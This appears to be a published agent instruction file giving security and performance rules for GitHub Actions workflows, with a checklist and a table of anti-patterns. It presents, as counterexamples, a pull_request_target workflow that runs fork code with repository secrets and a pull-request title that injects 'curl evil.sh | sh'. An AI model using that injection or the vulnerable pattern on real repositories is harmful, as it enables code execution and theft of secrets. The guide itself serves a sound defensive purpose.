Claude Fable 5.1 & GPT-6 Astra packages are live

Github Actions

Free

GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable…

204 lines8.2 KB Deepseek DevOps
targetModels
DeepSeek V4DeepSeek V3.2DeepSeek R1DeepSeek V3 FamilyFuture DeepSeek Models
name
github-actions
category
DevOps
description
GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable workflows.
license
MIT
author
Agent.md maintainers
last-verified
reviewed-by
unreviewed
<!-- Generated from models/_canonical by scripts/build-model-variants.js. Edit the canonical source, not this file. Behavioural profile for DeepSeek: scripts/model-profiles.json -->

#Task boundary

  1. Implement exactly the task as stated. Do not add abstractions, options, config, or files the task did not name.
  2. Comments, identifiers, commit messages and log strings are English only.
  3. Stop when the checklist at the end passes. Do not refactor or "improve" surrounding code.
  4. Every checklist item below is backed by an assertion in a test or by pasted command output, never by a sentence.

#Purpose

Rules specific to GitHub Actions. General pipeline design is DevOps/cicd; this covers the platform's own behaviours — particularly the trigger and permission model, which is where its real vulnerabilities live.


#Triggers decide who can run your secrets

TriggerRuns asSecretsSafe with untrusted code
pushThe repositoryYesn/a
pull_requestThe merge ref, no write token, no secrets for forksNo (forks)Yes
pull_request_targetThe base ref, with write token and secretsYesNo
workflow_runThe repositoryYesOnly with care
issue_commentThe repositoryYesNo

pull_request_target combined with checking out the pull request head is a repository takeover. It runs untrusted code with your secrets and a write token:

yaml
# ❌ Never. The fork's code executes with full repository credentials.
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with: { ref: ${{ github.event.pull_request.head.sha }} }
  - run: npm ci && npm test                # arbitrary code from the fork

Use pull_request_target only to do something that does not execute fork code — labelling, commenting — and never check out the head ref in it.

Untrusted input reaches you in github.event.*: a pull-request title, a branch name or an issue body interpolated into a run: block is shell injection.

yaml
- run: echo "${{ github.event.pull_request.title }}"      # ❌ title: "; curl evil.sh | sh"
- env: { TITLE: ${{ github.event.pull_request.title }} }  # ✅ via env, quoted
  run: echo "$TITLE"

#Least privilege, and no static cloud keys

yaml
permissions:
  contents: read          # default for the whole workflow

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write     # only this job gets OIDC
  1. Set permissions explicitly at the top. The default is broad, and a compromised action inherits it.
  2. Grant elevated scopes per job, never workflow-wide.
  3. Use OIDC federation to assume a cloud role rather than storing long-lived keys:
yaml
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
    aws-region: eu-west-1

There is then no static credential to leak, rotate, or find in a log. Scope the trust policy to the specific repository and ref — a policy trusting repo:org/* lets any repository in the organisation deploy your production.

GITHUB_TOKEN expires with the job; prefer it over a personal access token. Where a PAT is unavoidable, use a fine-grained one scoped to one repository.


#Pin everything

yaml
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683   # v4.2.2

A tag is mutable: @v4 can be repointed by the action's maintainer at any time, which is arbitrary code execution in a workflow holding your secrets. Pin by commit SHA with the version in a comment, and let Dependabot raise the updates.

Pin runner images to a version (ubuntu-24.04) rather than ubuntu-latest, which moves under you and breaks builds on a schedule you do not control.


#Make it fast

yaml
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true          # superseded pushes stop wasting runners
  1. concurrency with cancel-in-progress on pull-request workflows; never on deploy workflows, where cancelling mid-deploy leaves a partial rollout.
  2. Cache keyed on the lockfile hash, with a restore-key fallback:
yaml
- uses: actions/setup-node@v4
  with: { node-version: 22, cache: npm }     # built-in, keyed on the lockfile
  1. Use paths filters so a documentation change does not run the full test matrix.
  2. Shard slow suites across a matrix; fail-fast: false when you want every shard's result rather than the first failure.
  3. Prefer npm ci over npm install, and keep actions/cache keys off branch names — a loosely keyed cache serves stale dependencies and produces failures that vanish on expiry.

#Structure and operations

  1. Extract shared logic into reusable workflows (workflow_call) or composite actions. Copy-pasted YAML across ten repositories drifts immediately.
  2. Use environment: for deployments to get required reviewers, wait timers and environment-scoped secrets.
  3. Mask anything sensitive (::add-mask::) and never echo a secret to debug. Workflow logs are readable by anyone with repository read access.
  4. Set timeout-minutes on every job. The default is six hours, and a hung job holds a runner for all of it.
  5. Set defaults.run.shell: bash and start scripts with set -euo pipefail — otherwise a failing command in the middle of a multi-line run is ignored.

#Anti-patterns

Anti-patternWhy it failsFix
pull_request_target + checkout headFork code runs with your secretsNever combine them
github.event.* in a run: blockShell injection from a title or branch namePass through env:
No permissions blockBroad default token inherited by every actionExplicit least privilege
Workflow-wide elevated permissionsEvery job holds write accessPer-job scopes
Long-lived cloud keys in secretsA leak is permanent until noticedOIDC federation
OIDC trust policy scoped to an orgAny repository can deploy productionScope to repository and ref
Actions pinned by tagMutable; arbitrary code executionPin by SHA
ubuntu-latestChanges under you; scheduled breakagePin the runner image
No concurrency on PR workflowsSuperseded runs waste runnersCancel in progress
cancel-in-progress on deploysPartial rollout left behindNever on deploys
Cache keyed on branchStale dependencies; phantom failuresKey on the lockfile hash
No paths filtersDocs changes run the full matrixFilter by path
No timeout-minutesA hung job holds a runner for six hoursSet a timeout
Multi-line run without pipefailMid-script failures ignoredset -euo pipefail
Copy-pasted workflows across reposImmediate driftReusable workflows
Secrets echoed for debuggingReadable by anyone with repo accessMask; never print

#Checklist

  • No workflow combines pull_request_target with checking out the head ref
  • No github.event value is interpolated directly into a shell command
  • permissions is declared explicitly and defaults to contents: read
  • Elevated permissions are granted per job
  • Cloud access uses OIDC, scoped to this repository and ref
  • No long-lived cloud credentials are stored as secrets
  • Every third-party action is pinned by commit SHA
  • Runner images are pinned to a version
  • Pull-request workflows cancel superseded runs; deploy workflows do not
  • Dependency caches are keyed on lockfile hashes
  • Path filters prevent unnecessary matrix runs
  • Slow suites are sharded across a matrix
  • Every job sets timeout-minutes
  • Shell steps run with set -euo pipefail
  • Shared logic lives in reusable workflows, not copied YAML
  • Deployments use environments with required reviewers
  • No secret is printed or logged